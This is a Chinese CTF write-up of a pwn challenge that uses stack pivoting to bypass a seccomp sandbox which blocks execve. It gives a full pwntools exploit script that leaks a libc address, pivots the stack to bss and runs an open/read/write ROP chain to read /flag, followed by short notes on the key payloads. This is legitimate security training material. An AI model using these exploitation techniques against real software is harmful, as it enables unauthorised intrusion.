题目


可以看到是栈迁移,而且是只有read输入的类型,考虑lea类型

因为read读入数据之后哈有个puts输出,为了防止发送数据的时机不对,我们控制lea在输出try it之前,以控制程序执行流程

又看到沙盒,在程序中验证

- 允许所有系统调用,
- 唯独禁止
execve(也就是不能直接 execve("/bin/sh"))
所以用沙盒
open, read,write
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| from pwn import * #io=process('./rbp') io=remote("node4.anna.nssctf.cn",28726) #gdb.attach(io, "b*0x4012BF") elf=ELF('./rbp') libc=ELF('./libc.so.6') bss=0x404800 leave=p64(0x4012BF) payload=b'a'*0x210+p64(bss)+p64(0x40127F) io.sendafter(b"try it\n",payload) io.recvline() rdi=p64(0x401353) rbp=0X40126E lea=0x401286
# payload=p64(bss+0x600)+rdi+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(lea) # payload=payload.ljust(0x210,b'\x00') # payload+=p64(bss-0x210)+leave
payload=rdi+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(rbp)+p64(bss+0x600)+p64(lea) payload=payload.ljust(0x210,b'\x00') payload+=p64(bss-0x210-8)+leave
io.sendafter(b"try it\n",payload) io.recvline() puts_add=u64(io.recv(6).ljust(8,b'\x00')) print(b"puts==========================="+hex(puts_add).encode()) offset=puts_add-libc.sym['puts'] success('offset: '+hex(offset)) openn=offset+libc.sym['open'] read=offset+libc.sym['read'] write=offset+libc.sym['write'] rsi=p64(offset+0x2601f) rdx=p64(offset+0x142c92) payload=b'/flag\x00\x00\x00' payload+=rdi+p64(bss+0x600-0x210)+rsi+p64(0)+rdx+p64(0)+p64(openn) payload+=rdi+p64(3)+rsi+p64(bss)+rdx+p64(0x50)+p64(read) payload+=rdi+p64(1)+rsi+p64(bss)+rdx+p64(0x50)+p64(write) payload=payload.ljust(0x210,b'\x00') payload+=p64(bss+0x600-0x210)+leave io.sendafter(b"try it\n",payload) io.interactive()
|
收获
rbp控制
1 2 3
| payload=p64(bss+0x600)+rdi+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(lea) payload=payload.ljust(0x210,b'\x00') payload+=p64(bss-0x210)+leave
|
在payload最开始控制rbp,让函数跳转过去之后第一个pop为rbp,最后直接lea跳转执行raed函数
orw的系统调用
1 2 3 4 5 6 7
| payload=b'/flag\x00\x00\x00' payload+=rdi+p64(bss+0x600-0x210)+rsi+p64(0)+rdx+p64(0)+p64(openn) payload+=rdi+p64(3)+rsi+p64(bss)+rdx+p64(0x50)+p64(read) payload+=rdi+p64(1)+rsi+p64(bss)+rdx+p64(0x50)+p64(write) payload=payload.ljust(0x210,b'\x00') payload+=p64(bss+0x600-0x210)+leave io.sendafter(b"try it\n",payload)
|
通过寄存器控制函数